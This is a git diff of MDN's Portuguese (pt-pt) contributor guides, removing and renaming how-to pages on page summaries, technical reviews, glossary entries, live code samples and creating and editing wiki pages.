diff --git a/files/pt-pt/mdn/contribute/howto/como_definir_o_resumo_para_uma_pagina/index.html b/files/pt-pt/mdn/contribute/howto/como_definir_o_resumo_para_uma_pagina/index.html deleted file mode 100644 index 172aed7d5d..0000000000 --- a/files/pt-pt/mdn/contribute/howto/como_definir_o_resumo_para_uma_pagina/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Como definir o resumo para uma página -slug: MDN/Contribute/Howto/Como_definir_o_resumo_para_uma_pagina -tags: - - Como - - Guia(2) - - Metadados MDN -translation_of: MDN/Contribute/Howto/Set_the_summary_for_a_page ---- -
{{MDNSidebar}}

Pode definir-se o resumo de uma página no MDN para ser usada de várias maneiras, incluindo em resultados de motores de busca, noutras páginas MDN tais como páginas de destino de tópicos, e dicas ou sugestões de ajuda. Deverá ser um texto que faça sentido quer no contexto da página, quer quando aparece noutros contextos, sem que esteja disponível a totalidade do conteúdo.

- -

Um resumo pode definido explicitamente em apenas uma página. Se não estiver explicitamente definido, então normalmente usam-se as primeiras linhas, o que nem sempre é o melhor para o objectivo pretendido.

- -
-
O que é uma tarefa?
-
Identificar o texto de uma página que melhor poderia ser usado para ser o seu resumo, mesmo que apareça noutros contextos; esta tarefa poderá incluir editar o texto existente e/ou introduzir texto apropriado se necessário.
-
Onde é que esta precisa de ser feita?
-
Em páginas que não têm resumos ou têm um resumo menos bom.
-
O que precisa de saber para efectuar a tarefa?
-
Habilitação para usar o editor MDN; competência em português escrito; familiaridade suficiente com o tópico para escrever um bom resumo.
-
Quais os passos a seguir?
-
-
    -
  1. Escolher uma página para colocar um resumo: -
      -
    1. Na página Estado do documento por tópico, clique num tópico de que tenha algum conhecimento (por exemplo, HTML) da coluna Secções: 
      -
    2. -
    3. Na página de Estado do documento do tópico escolhido, clicar no cabeçalho Pages da tabela Summary.  Irá para um índice de todas as páginas da secção correspondente ao tópico escolhido; mostra os links das páginas na coluna esquerda, e as palavras-chave e resumos na coluna da direita:
      -
    4. -
    5. Escolher uma página que não tenha ou tenha um fraco resumo:
      -
    6. -
    7. Clicar no link para ir para essa página.
    8. -
    -
  2. -
  3. Clicar em  Edit para abrir a página no editor MDN.
  4. -
  5. Tentar encontrar uma frase ou duas que possam servir de resumo, mesmo fora de contexto. Se necessário, editar o conteúdo existente para criar ou modificar frases de modo a que estas se tornem um bom resumo.
  6. -
  7. Seleccionar o texto que irá ser usado como resumo.
  8. -
  9. Na ferramenta Estilos, da barra de ferramentas do editor, seleccionar SEO Summary. (Na página de código fonte, isto cria um elemento {{HTMLElement("span")}}  com  class="seoSummary" em volta do texto seleccionado.)
    -
  10. -
  11. Guardar as alterações com um comentário de revisão. O comentário é opcional, mas é encorajado pois torna mais fácil para os outros utilizadores o rastreio de alterações.
  12. -
- -

 

-
-
- -

 

diff --git a/files/pt-pt/mdn/contribute/howto/como_efetuar_revisao_tecnica/index.html b/files/pt-pt/mdn/contribute/howto/como_efetuar_revisao_tecnica/index.html deleted file mode 100644 index def53aa207..0000000000 --- a/files/pt-pt/mdn/contribute/howto/como_efetuar_revisao_tecnica/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Como efetuar uma revisão técnica -slug: MDN/Contribute/Howto/Como_efetuar_revisao_tecnica -tags: - - Como - - Documentação - - Guía - - Metadados MDN - - Revisão -translation_of: MDN/Contribute/Howto/Do_a_technical_review ---- -
{{MDNSidebar}}
- -
{{IncludeSubnav("/en-US/docs/MDN")}}
- -

'Uma revisão Técnica' consiste em rever a exatidão técnica e a integridade de um artigo e corrigi-lo, se necessário. Se um escritor de um artigo quiser que outra pessoa verifique o conteúdo técnico de um artigo, o escritor marca a caixa de seleção "Revisão técnica" durante a edição. Muitas vezes, o escritor entra em contacto com um técnico específico para realizar a revisão técnica, mas qualquer pessoa com conhecimento técnico no assunto pode efetuar uma.

- -

Este artigo descreve como realizar uma revisão técnica, ajudando a garantir que o conteúdo da MDN seja preciso.

- -
-
O que é uma tarefa?
-
Rever e corrigir os artigos para uma perfeição e exatidão técnica.
-
-

 

- Onde é que esta precisa de ser efetuada?
-
Nos artigos específicos que são marcados como 'necessária uma revisão técnica' (em inglês).
-
O que precisa de saber para realizar a tarefa?
-
-
    -
  • -

    Conhecimento especializado do tópico do artigo que está a rever. Se ao ler o artigo não lhe ensina algo significativamente novo, considere-se um especialista.

    -
  • -
  • Como editar um artigo da wiki na MDN.
  • -
-
-
Quais são os passos a seguir?
-
-
    -
  1. Escolha um artigo para rever: -
      -
    1. Vá para lista das páginas que precisam de revisões técnicas. I -

       

      - sto lista todas as páginas para as quais uma revisão técnica foi solicitada.
    2. -
    3. Escolha uma página cujo tópico esteja familizarizado.
    4. -
    5. Clique na hiperligação do artigo para carregar a página.
    6. -
    -
  2. -
  3. Leia o artigo, tendo em atenção os detalhes técnicos: O artigo está correto? Tem alguma coisa em falta? Não hesite em mudar para uma página diferente se a primeira que escolheu não lhe é conveniente.
  4. -
  5. Se não existirem erros, não precisa de editar o artigo para o marcar como revisto. Veja na caixa "revisão rápida" na barra lateral esquerda da página. Esta caixa amarela lista quaisquer revisões pendentes e deixa-o limpar a bandeira do pedido da sua revisão. Parece-se com isto se foi solicitada uma revisão técnica:
    - Screenshot of the sidebar's box listing reviews that have been requested and allowing the flags to be changed.
  6. -
  7. Desselecione a caixa Técnico, e clique em Guardar.
  8. -
  9. Se encontrar erros que precisam de ser corrigidos, irá ficar feliz em saber que também pode alterar o estado da solicitação de revisão no editor. Aqui tem o fluxo de trabalho: -
      -
    1. Para editar a página, clique em Editar perto do topo da página; isto coloca-o no editor da MDN.
    2. -
    3. Corrigir qualquer informação técnica que não esteja correta, e/ou adicioanr qualquer informação importante que esteja em falta.
    4. -
    5. Inserir um 'Comentário da Revisão' no fim do artigo. Esta é uma breve mensagem que descreve o que fez, tal como 'Revisão técnica concluída'. Se corrigiu a informação, inclua isso no seu comentário, por exemplo, 'Revisão técnica e descrições dos parâmetros corrigidos'. Isto ajuda os outros colaboradores e editores de sites a saberem o que alterou e o porquê. Também pode mencionar se existiam partes específicas que não se sentia qualificado para rever.
    6. -
    7. Desselecionar a caixa Técnico sob Revisão necessária?.
    8. -
    9. Clique em PUBLICAR.
    10. -
    -
  10. -
- -

Parabéns! Concluiu a sua primeira revisão técnica! Obrigado pela sua ajuda!

-
-
diff --git a/files/pt-pt/mdn/contribute/howto/como_escrever_um_artigo_para_ajudar_as_pessoas_a_aprenderem_sobre_a_web/index.html b/files/pt-pt/mdn/contribute/howto/como_escrever_um_artigo_para_ajudar_as_pessoas_a_aprenderem_sobre_a_web/index.html deleted file mode 100644 index 5751a2e391..0000000000 --- a/files/pt-pt/mdn/contribute/howto/como_escrever_um_artigo_para_ajudar_as_pessoas_a_aprenderem_sobre_a_web/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Como escrever um artigo para ajudar as pessoas a aprenderem sobre a Web -slug: >- - MDN/Contribute/Howto/Como_escrever_um_artigo_para_ajudar_as_pessoas_a_aprenderem_sobre_a_Web -tags: - - Aprender - - Como - - Guia(2) - - Metadados MDN -translation_of: MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web ---- -
{{MDNSidebar}}
- -

A Área de Aprendizagem da MDN é o nosso local para os artigos que introduzem os conceitos da Web para os novos programadores. Porque o seu conteúdo, principalmente, tem como alvo os principiantes, é um local excelente para partilhar os seus conhecimentos e ajudar estes a conhecer a Web. É importante certificar-se que os novos programadores podem seguir este conteúdo, por isso nós damos especial atenção a este.

- -

Este artigo explica sobre como escrever as páginas para a Área de Aprendizagem.

- -

Como escrever um artigo da Área de Aprendizagem

- -

To start contributing your knowledge, simply click the big green button, then follow the five steps below. If you're looking for ideas, please take a look at the our team Trello board!

- -

Escrever um novo artigo de aprendizagem

- -

This article might not end up in exactly the right place, but at least it's on MDN. If you need to talk to someone about getting it moved to the right place, please  Contact us.

- -

Passo 1: Write a two-liner

- -

Your article's first sentence needs to summarize what subject you're going to cover, and the second one should go into a few more specifics of the items that you'd put in the article. For example:

- -
-

Whereas {{glossary("HTML")}} files contain structured content, {{Glossary("CSS")}}, another major Web technology, makes the content look the way you want. In this article we are going to cover how this technology works, and how to write your own basic example.

-
- -

Note how the example briefly explains that CSS is a core Web technology used to style pages. That's enough for the reader to get a pretty good idea what the article covers.

- -

Because Learning Area articles primarily target beginners, each article should cover one straightforward topic so as not to overwhelm the reader with too much new information. If you can't summarize the article in one sentence, you might be trying to do too much in one article!

- -

Passo 2: Add a top box

- -

Then add a top box to help readers get their bearings as to where they are in the learning process.  Here's an example of a top box from "Understanding URLs and their structure". You can use this article as an model when writing your own.

- - - - - - - - - - - - -
Pré-requisitos:You need to first know how the Internet works, what a Web server is, and the concepts behind links on the web.
Objetivo:You will learn what a URL is and how it works on the Web.
- -
-
Pré-requisitos
-
What must the reader already know to follow the article? When possible, make each prerequisite a link to another Learning Area article covering the concept (unless it's a really basic article that doesn't require prior knowledge).
-
Objetivos
-
This section briefly states what the reader will learn over the course of the article. This is a bit different than the one-liner; the one-liner summarizes the topic of the article, while the objectives section specifically lays out what the reader can expect to accomplish over the course of the article.
-
- -
-

Nota: To create this table, you can either copy and paste the example table above, or use MDN's editor's table tool. If you choose to use the table tool, you need to specifically add the learn-box CSS class in addition to the default standard-table class. To do this, when you create or edit the table's properties,, go to the "Advanced" panel and set the Stylesheet Classes field to "standard-table learn-box".

-
- -

Passo 3: Write a full description

- -

Next, write a longer description that provides a more thorough overview of the article highlighting the most important concepts. Don't forget to explain why the reader should take the time to learn this topic and read your article!

- -

Passo 4: Dig deeper

- -

When you're done with all that, you can finally dive deeply into the topic. You can structure this part of your article however you like (although feel free to consult our style guide). This is your chance to shine! Go into detail explaining the topic you're writing about. Provide links to the full reference documentation, explain how the technology works in detail, provide syntax and usage details, and so forth. It's up to you!

- -

As a guide, here are some writing tips for beginners:

- - - -

Have a look at the first few sections of our Functions — reusable blocks of code article for some good descriptive sections.

- -

Passo 5: Provide "active learning" material

- -

To illustrate the article and help the reader better understand what they're learning, be sure to provide exercises, tutorials, and tasks to accomplish. By having them actively and practically using and experimenting with the concepts your article explains, you can help "lock" the information into their brains.

- -

You can choose to include the examples directly in the page as live samples, or link to them if they don't really work as a live sample. If you're interested in helping create these valuable materials, please read the article Create an interactive exercise to help learning the Web.

- -

If you can't provide links to existing active learning materials (you don't know of any or don't have time to create them), you should add the tag {{Tag("NeedsActiveLearning")}} to the article. That way other contributors can find articles that need active learning materials and perhaps help you come up with them.

- -

Have a look at Active learning: selecting different elements for a live interactive learning exercise, or Active learning: Playing with scope for a different style of exercise that calls upon them to download a template locally and modify it following the provided steps.

- -

Passo 6: Get the article reviewed, and put into the Learning Area navigation menu

- -

After you've written your article, let us know so we can have a look at it, do a review, and suggest improvements. Again, see our Contact us section for the best ways to get in touch.

- -

Another part finalizing your article is to put it in the Learning Area main navigation menu. This menu is generated by the LearnSidebar macro, which you need special privileges to edit, so again, talk ot one of our team about getting it added.

- -

You should at least add it to your page — this is done by adding the macro call \{{LearnSidebar}} into a paragraph at the top of your page.

- - - -

Artigos sugeridos

- -

So you want to contribute but you're not sure what to write about?

- -

The Learning Area team maintains a Trello board with ideas of articles to write. Feel free to pick one and get to work!

- -

 

- -

 

diff --git a/files/pt-pt/mdn/contribute/howto/como_escrever_uma_nova_entrada_no_glossario/index.html b/files/pt-pt/mdn/contribute/howto/como_escrever_uma_nova_entrada_no_glossario/index.html deleted file mode 100644 index 105853672c..0000000000 --- a/files/pt-pt/mdn/contribute/howto/como_escrever_uma_nova_entrada_no_glossario/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Como escrever e referenciar uma entrada no glossário -slug: MDN/Contribute/Howto/Como_escrever_uma_nova_entrada_no_Glossario -tags: - - Como... - - Glossário - - Guia(2) - - Metadados da MDN -translation_of: MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary ---- -
{{MDNSidebar}}
- -

O glossário da MDN é o local onde nós definimos toda a terminologia, gíria, e abreviações utilizadas na documentação e programação. Contribuir para o glossário é uma maneira simples de tornar a Web mais fácil para todos entenderem. Você não precisa de um alto nível de habilidade técnica para escrever entradas de glossário porque elas devem permanecer simples e diretas.

- -

Como escrever uma entrada

- -

Se você está procurando por tópicos que precisam de uma entrada de glossário, verifique a lista de termos não documentados no final da página de destino do Glossário; clique em qualquer um desses links para iniciar uma nova página do Glossário para o item que você clicou; então siga os passos abaixo.

- -

Se você tem uma ideia para um nova entrada de glossário, basta abrir o botão em uma nova aba, e então siga os passos abaixo do botão.

- -

Adicionar Nova Entrada ao Glossário

- -

 

- -

Passo 1: Escreva um resumo

- -

The first paragraph of any glossary page is a simple and short description of the term (preferably no more than two sentences). Make sure anyone reading the description can understand the defined term immediately.

- -
-

Nota: Please don't copy-and-paste definitions from elsewhere (especially not Wikipedia, since its range of license versions is smaller, and thus incompatible with that of MDN). It's really important to make sure this content is simple and easy to understand. It's worth spending some time on it rather than stealing content blindly. This glossary should be useful new content, not repeating things from elsewhere.

-
- -

Links to the glossary entry will use these summaries inside their tooltips, so that readers can see the definitions without navigating away from the page they're on. (See below how to insert links to glossary entries with the \{{Glossary}} macro.)

- -

If you must, you can add a few extra paragraphs, but it's very easy to find yourself writing a whole article. Writing a whole article is fine, but please don't put it in the glossary. If you aren't sure where to put your article, feel free to reach out to discuss it.

- -

Passo 2: Expanda com hiperligações

- -

Finally, a glossary entry should always end with a "Learn more" section. This section should contain links to help the reader move forward: discovering more details, learning to use the relevant technology, and so on.

- -

We recommend that you sort the links into at least these three groups:

- -
-
Conhecimento geral
-
Links that provide more general information; for example, a link to Wikipedia is a good starting point.
-
Referência técnica
-
Links to more in-depth technical information, on MDN or elsewhere.
-
Saber sobre a mesma
-
Hiperligações para tutoriais, exercícios, quaisquer outros materiais que ajudem o leitor a saber como utilizar a tecnologia por de trás do termo definido.
-
- -

Termos sugeridos

- -

So you want to contribute but you don't know which terms need to be defined? Here's a list of suggestions. Click one and get started!

- -

Lidar com a desambiguação

- -

Sometimes, a term has several meanings depending on the context. To resolve the ambiguities, you must follow those guidelines:

- - - -

Let's illustrate that with an example. The term signature can have different meanings in at least three different contexts: security, function and email.

- -
    -
  1. A página de Glossário/Assinatura é a página de desambiguação como a  {{TemplateLink("GlossaryDisambiguation")}} macro.
  2. -
  3. The page Glossary/Signature/Security is the page defining a signature in a security context.
  4. -
  5. The page Glossary/Signature/Function is the page defining a function signature.
  6. -
  7. The page Glossary/Signature/Email is the page defining email signature.
  8. -
- -

Como utilizar a macro \{{Glossary}}

- -

The glossary is much more useful when people can access the definitions from another document without navigating away from what they're reading. Therefore we urge you to link to the glossary whenever you can, using the {{TemplateLink("Glossary")}} macro:

- - - - - - - - - - - - - - - - - - - - - - - - - - -
MacroResultadoNota
\{{Glossary("browser")}}{{Glossary("browser")}}When a text matches the term to be defined, just use the macro as is (it's case insensitive)
\{{Glossary("browser", "Web browser")}}{{Glossary("browser","Web browser")}}To display an alternative text, use the second argument to specify that text
\{{Glossary("browser", "Web browser", 1)}}{{Glossary("browser","Web browser",1)}}Specify 1 as an optional third argument to display the link as a regular link rather than a subtle hint
- -

Links created with the \{{Glossary}} macro always display a tooltip containing the glossary entry's summary paragraph.

- -

Utilização das linhas diretrizes

- -

In many cases, it's perfectly safe to use that macro everywhere on MDN. However, there are a few cases you should handle with care:

- - diff --git a/files/pt-pt/mdn/contribute/howto/comunicar_um_problema/index.html b/files/pt-pt/mdn/contribute/howto/comunicar_um_problema/index.html deleted file mode 100644 index 764d3fca0c..0000000000 --- a/files/pt-pt/mdn/contribute/howto/comunicar_um_problema/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Como comunicar um problema na MDN -slug: MDN/Contribute/Howto/Comunicar_um_problema -tags: - - Como... - - Guía - - Metadados MDN -translation_of: MDN/Contribute/Howto/Report_a_problem ---- -
{{MDNSidebar}}
- -

De vez em quando, pode encontrar problemas ao utilizar a MDN. Se é um problema com a infra-estrutura do site ou um erro no conteúdo da documentação, pode tentar corrigi-lo ou comunicar o problema. Enquanto o primeiro é o preferido, o último é às vezes o melhor que pode gerir, e isso também está bem.

- -

Erros de documentação ou pedidos

- -

Obviously, since MDN is a wiki, the best thing you can possibly do is fix problems you spot yourself. But maybe you don't know the answer or are in the middle of a deadline on your own project or something, and need to jot down the problem so someone can look at it later.

- -

As is the case with all things Mozilla, you report a documentation problem by filing a bug. That's when filing a documentation request bug comes in. The documentation request form gathers the information needed to get us started on fixing the issue.

- -

Of course, our writing community is busy, so sometimes the quickest way to see a documentation problem resolved is to fix it yourself. See How to create and edit pages for details.

- -

Erros (bugs) do site ou pedidos de funcionalidades

- -

Kuma, the Mozilla-developed platform used for the MDN web site, is in a state of continuous development. Our developers—as well as a number of volunteer contributors—are constantly making improvements. If you see a bug, or have a problem with the site, or even have a suggestion for something that could make the software more awesome, you can use the Kuma bug form to file a report. You can also use this form to report performance problems with the site, though odds are that performance-monitoring tools have already notified the appropriate people.

diff --git a/files/pt-pt/mdn/contribute/howto/convert_code_samples_to_be_live/index.html b/files/pt-pt/mdn/contribute/howto/convert_code_samples_to_be_live/index.html new file mode 100644 index 0000000000..e0f16cc514 --- /dev/null +++ b/files/pt-pt/mdn/contribute/howto/convert_code_samples_to_be_live/index.html @@ -0,0 +1,36 @@ +--- +title: Como converter exemplos de código para ficarem "live" +slug: MDN/Contribute/Howto/Como_converter_exemplos_de_codigo_para_ficarem_live +tags: + - Como + - Metadados MDN + - Principiante +translation_of: MDN/Contribute/Howto/Convert_code_samples_to_be_live +--- +
{{MDNSidebar}}
+ +

MDN tem um sistema de "exemplos live", onde o exemplo de código é mostrado numa página utilizada diretamente para exibir o resultado desse mesmo exemplo. Contudo, muitos artigos existentes tem exemplos de código que ainda não utilizam este sistema, e precisam de ser convertidos.

+ +

Exemplos live, permitem-lhe ver como é que é o exemplo de destino. Este guia fala sobre como utilizar os exemplos existentes e adicionar a funcionalidade "live" às mesmas.

+ +
+
Onde é que isso precisa de ser feito?
+
Artigos com a etiqueta NeedsLiveSample
+
O que precisa de saber para realizar a tarefa?
+
+
    +
  • Conhecimentos em HTML, CSS e/ou JavaScript, dependendo da amostra de código.
  • +
  • Capacidade de usar macros KumaScript dentro dos artigos MDN.
  • +
+
+
Quais são os passos para realizar a tarefa?
+
+
    +
  1. Escolher um artigo da lista de artigos que estão marcados NeedsLiveSample, onde a amostra de código é para uma funcionalidade com que se sente familiarizado.
  2. +
  3. Converter a amostra de código para ser "live".
  4. +
  5. Eliminar qualquer código ou imagem que fosse previamente utilizada para demonstrar o output da amostra.
  6. +
+
+
+ +

Para mais informação sobre a criação  e edição de Amostras Live, consulte Utilizar o sistema de amostra live

diff --git a/files/pt-pt/mdn/contribute/howto/create_and_edit_pages/index.html b/files/pt-pt/mdn/contribute/howto/create_and_edit_pages/index.html new file mode 100644 index 0000000000..e4d8572fe3 --- /dev/null +++ b/files/pt-pt/mdn/contribute/howto/create_and_edit_pages/index.html @@ -0,0 +1,181 @@ +--- +title: Como criar e editar páginas +slug: MDN/Contribute/Howto/Criar_e_editar_paginas +tags: + - Guía + - Introdução + - MDN Meta + - Principiante +translation_of: MDN/Contribute/Howto/Create_and_edit_pages +--- +
{{MDNSidebar}}
+ +

Este artigo introduz novos colaboradores ao processo de editar páginas existentes e criar novas páginas.

+ +

Editar uma página existente

+ +

Para editar uma página:

+ +
    +
  1. Clique no botão Editar perto do canto superior direito da página.
  2. +
  3. A página vai recarregar, com uma interface de edição onde podes acrescentar ou apagar informação diretamente.
  4. +
  5. Acrescente parágrafos, apague texto, insira títulos, e realize outras funções básicas envolvidas em escrever e editar.
  6. +
+ +

Veja o guia do Elementos da IU do editor, no Guia para o editor da IU da MDN, para obter mais informação sobre a utilização do editor incorporado da MDN.

+ +

Pré-visualizar alterações

+ +

Para ver o aspeto das suas alterações:

+ + + +

Tenha cuidado! Pré-visualizar uma página não guarda o seu progresso. Não feche o separador em que está a editar até ter guardado o seu trabalho.

+ +

Comentário de revisão

+ +

Depois de pré-visualizar as alterações, vai querer guardar a sua revisão. Antes de guardar, procure a caixa do comentário de revisão, por baixo da caixa de edição,  e deixe um comentário para informar outros colaboradores de porque é que fez alterações. Diga, por exemplo, se acrescentou uma secção nova, mudou algumas palavras para tornar a terminologia mais consistente, reescreveu um parágrafo para esclarecer a linguagem, ou removeu informação redundante.

+ +

Índice

+ +

A secção "Neste artigo", é uma lista, gerada automaticamente, de ligações para os títulos numa página. Estes podem ser modificados através dos títulos. Também é possível remover um índice ou reduzir o número de ligações ao selecionar "Editar o Título e Propriedades da Página" e mudar o valor na caixa de seleção "TOC" (Table of contents / Índice).

+ +

Etiquetas (Tags)

+ +

Pode adicionar ou remover etiquetas, que descrevem o conteúdo e propósito da página, por baixo da secção de edição. Veja Como etiquetar devidamente as páginas para obter informação sobre as etiquetas que deve utilizar.

+ +

Necessita de revisão?

+ +

Se um colaborador perito ou experiente deve rever as suas edições, por favor peça uma revisão técnica (de código, API, ou tecnologias), e/ou uma revisão editorial (de prosa, gramática, e conteúdo), certificando-se de que a caixa adequada tem um visto antes de guardar.

+ +

Anexar ficheiro

+ +

Se pretende anexar um ficheiro a uma página existente, ou acrescentar uma ilustração para dar melhores esclarecimentos, o mesmo pode ser acrescentado na margem inferiro da página. Quando envia uma imagem, por favor utilize uma ferramente de otimização de imagens para tornar o ficheiro o mais pequeno possível. Desta forma, reduz o tempo de carregamento da página e ajuda o desempenho geral da MDN. Utilize a sua ferramente preferida, se tiver uma; se não, sugerimos TinyPNG, uma ferramenta Web acessível.

+ +

Publicar, Descartar, ou Continuar a editar

+ +

Quando termina de editar e está contente com a pré-visualização, publique o seu trabalho e comentários com o botão verde Publicar, à direita do título da página, ou no fim da página. Se pretende continuar, clique em Publicar e cotinuar a editar, o qual publica as suas alterações e mantém a interface de edição aberta.

+ +

Se mudar de ideias, pode descartar edições com o botão vermelho Descartar. Atenção que este botão descarta permanentemente.

+ +

Premir a tecla Enter na caixa de Comentário de Revisão é equivalente a clicar em Publicar e cotinuar a editar.

+ +
+

Nota: Se tentar guardar, mas as alterações são rejeitas como inválidas, e acha que o conteúdo é apropriado para a MDN, envie um e-mail à equipa de administração da MDN para obter assistência.

+
+ +

Getting page-creation permissions

+ +

For security reasons, newly-created accounts don't have the ability to create new pages. If you try to do so, you'll see a page instructing you how to get the page created. There are two options:

+ + + +

Creating a new page

+ +

Once you have page-creation permission, you can begin creating pages.

+ +

If you do not know where to place a new article, do not worry. Put it anywhere, we will find it, move to where it belongs, or merge it into existing content. Whatever makes the most sense. Do not worry about making it perfect. We have happy helper gnomes who help to make your content clean and rather luscious.

+ +

There are a few ways to create a new page:

+ + + + + +

As with most wikis, it is possible to create a link to a page that is yet to exist. For example, an author might create a list of all the members of an API, before creating the pages for those members. On MDN, links to non-existent pages are typically displayed in red.

+ +

To create a page from a 'missing page' link:

+ +
    +
  1. Log into MDN, and have page-creation permission. If not logged in, clicking a 'missing page' link results in a 404 (page not found) error.
  2. +
  3. Click the 'missing page' link. If you have page creation permission, the MDN Editor UI opens, ready for you to create the missing page.
  4. +
  5. Write the content of the page, and save it.
  6. +
+ + + +

To create a new page without linking from another page, enter a unique page name in the URL field of your browser. For example, if you enter:

+ +
https://developer.mozilla.org/en-US/docs/FooBar
+ +

MDN Creates a new page, with the title "FooBar", opening the editor for you to add new content. Refer to the Editing an existing page section of this article, for information on how to use the editor mode.

+ +

To create a new page without linking from another page:

+ +
    +
  1. Log in, and have page-creation permission.
  2. +
  3. Enter the following in the URL field of your browser:
  4. +
+ +
https://developer.mozilla.org/en-US/docs/new
+ +

MDN Creates a new page, with a place for a title, opening the editor to add new content to this page. Refer to Editing an existing page, for information on using editor mode.

+ +

Subpage of an existing page

+ +

To create a page you want to be below an existing page, in the page hierarchy:

+ +
    +
  1. On the 'parent' page, click the Advanced menu (the gear icon in the toolbar), then click New sub-page.
  2. +
  3. An editor view opens for creating a new document.
  4. +
  5. Add a title for this document, in the Title field.
  6. +
  7. Change the Slug field, if needed. For example, if the title is long, and a shorter URL seems appropriate. This field is automatically filled by the editor, substituting underscores for spaces found in the title, changing only the last part of the URL.
  8. +
  9. In the TOC field, select heading levels you want to be displayed in the table of contents for the page. Or select 'No table of contents', if one is not needed.
  10. +
  11. Write content of the page in the editor pane, saving your changes. Refer to Editing an existing page, for further information on using editor mode.
  12. +
+ +

Clone of an existing page

+ +

If there is an existing page, whose format you wish to use as a base for your new page, you can 'clone' that page, and then change its content.

+ +
    +
  1. On the original page, click the Advanced menu (the gear icon in the toolbar), and click Clone this page. An editor view opens, for creating a new document.
  2. +
  3. Change the Title of the page, as appropriate for the new content. The Slug field is updated automatically as you change the Title field.
  4. +
  5. Change the path portion of the Slug field, as needed, to put the new document in a different location in the document hierarchy. In most cases, this is not needed. A cloned page often has similar content to its original, and need to be in a similar location.
  6. +
  7. In the TOC field, select the heading levels you want to be automatically displayed in the table of contents for this page. Or select 'No table of contents', if one is not needed.
  8. +
  9. Write your content in the editor pane, saving your changes. Refer to Editing an existing page, for more information on using editor mode.
  10. +
+ + + +

This is a bit of a hybrid. You can create a link on another page, then click the link you just inserted, to create the new page:

+ +
    +
  1. Enter the name of your new page, anywhere that makes sense in the text of an existing page.
  2. +
  3. Highlight this new name, and click the Link icon () in the editor's toolbar. The 'Update Link' dialog opens, with the highlighted text in the 'Link To' field.
  4. +
  5. "/en-US/docs/" is inserted by default, to the beginning of the URL field. Enter the name of the page after "/en-US/docs/". The page name does not have to be the same as the link text.
  6. +
  7. Click OK, to create and insert the link.
  8. +
+ +

If the page does not yet exist, the link is displayed in red. If the page does exist, the link is displayed blue. If you want to create a new page, but the page title you desire is already taken, check if it makes sense helping edit and improve the page already there. Otherwise, think of a unique title for your new page, and create a link for it. Refer to page naming guide for guidelines.

+ +

To add content to your new page, click on the red link you just created, after saving and closing the editor. The new page opens in editor mode, enabling you to start writing. Refer to Editing an existing page, for further information on using editor mode.

+ +

Refreshing page content

+ +

MDN support of KumaScript macros, and integration of content from other pages can sometimes be hampered by the need for caching of pages, for performance reasons. Pages are built from their source, and this output is cached for future requests. From that moment on, any macros (templates), or integrations (using the macroPage), will not reflect later changes made to the macro, its output, or the contents of the integrated material.

+ + + +

See also

+ + diff --git a/files/pt-pt/mdn/contribute/howto/criar_e_editar_paginas/index.html b/files/pt-pt/mdn/contribute/howto/criar_e_editar_paginas/index.html deleted file mode 100644 index e4d8572fe3..0000000000 --- a/files/pt-pt/mdn/contribute/howto/criar_e_editar_paginas/index.html +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: Como criar e editar páginas -slug: MDN/Contribute/Howto/Criar_e_editar_paginas -tags: - - Guía - - Introdução - - MDN Meta - - Principiante -translation_of: MDN/Contribute/Howto/Create_and_edit_pages ---- -
{{MDNSidebar}}
- -

Este artigo introduz novos colaboradores ao processo de editar páginas existentes e criar novas páginas.

- -

Editar uma página existente

- -

Para editar uma página:

- -
    -
  1. Clique no botão Editar perto do canto superior direito da página.
  2. -
  3. A página vai recarregar, com uma interface de edição onde podes acrescentar ou apagar informação diretamente.
  4. -
  5. Acrescente parágrafos, apague texto, insira títulos, e realize outras funções básicas envolvidas em escrever e editar.
  6. -
- -

Veja o guia do Elementos da IU do editor, no Guia para o editor da IU da MDN, para obter mais informação sobre a utilização do editor incorporado da MDN.

- -

Pré-visualizar alterações

- -

Para ver o aspeto das suas alterações:

- - - -

Tenha cuidado! Pré-visualizar uma página não guarda o seu progresso. Não feche o separador em que está a editar até ter guardado o seu trabalho.

- -

Comentário de revisão

- -

Depois de pré-visualizar as alterações, vai querer guardar a sua revisão. Antes de guardar, procure a caixa do comentário de revisão, por baixo da caixa de edição,  e deixe um comentário para informar outros colaboradores de porque é que fez alterações. Diga, por exemplo, se acrescentou uma secção nova, mudou algumas palavras para tornar a terminologia mais consistente, reescreveu um parágrafo para esclarecer a linguagem, ou removeu informação redundante.

- -

Índice

- -

A secção "Neste artigo", é uma lista, gerada automaticamente, de ligações para os títulos numa página. Estes podem ser modificados através dos títulos. Também é possível remover um índice ou reduzir o número de ligações ao selecionar "Editar o Título e Propriedades da Página" e mudar o valor na caixa de seleção "TOC" (Table of contents / Índice).

- -

Etiquetas (Tags)

- -

Pode adicionar ou remover etiquetas, que descrevem o conteúdo e propósito da página, por baixo da secção de edição. Veja Como etiquetar devidamente as páginas para obter informação sobre as etiquetas que deve utilizar.

- -

Necessita de revisão?

- -

Se um colaborador perito ou experiente deve rever as suas edições, por favor peça uma revisão técnica (de código, API, ou tecnologias), e/ou uma revisão editorial (de prosa, gramática, e conteúdo), certificando-se de que a caixa adequada tem um visto antes de guardar.

- -

Anexar ficheiro

- -

Se pretende anexar um ficheiro a uma página existente, ou acrescentar uma ilustração para dar melhores esclarecimentos, o mesmo pode ser acrescentado na margem inferiro da página. Quando envia uma imagem, por favor utilize uma ferramente de otimização de imagens para tornar o ficheiro o mais pequeno possível. Desta forma, reduz o tempo de carregamento da página e ajuda o desempenho geral da MDN. Utilize a sua ferramente preferida, se tiver uma; se não, sugerimos TinyPNG, uma ferramenta Web acessível.

- -

Publicar, Descartar, ou Continuar a editar

- -

Quando termina de editar e está contente com a pré-visualização, publique o seu trabalho e comentários com o botão verde Publicar, à direita do título da página, ou no fim da página. Se pretende continuar, clique em Publicar e cotinuar a editar, o qual publica as suas alterações e mantém a interface de edição aberta.

- -

Se mudar de ideias, pode descartar edições com o botão vermelho Descartar. Atenção que este botão descarta permanentemente.

- -

Premir a tecla Enter na caixa de Comentário de Revisão é equivalente a clicar em Publicar e cotinuar a editar.

- -
-

Nota: Se tentar guardar, mas as alterações são rejeitas como inválidas, e acha que o conteúdo é apropriado para a MDN, envie um e-mail à equipa de administração da MDN para obter assistência.

-
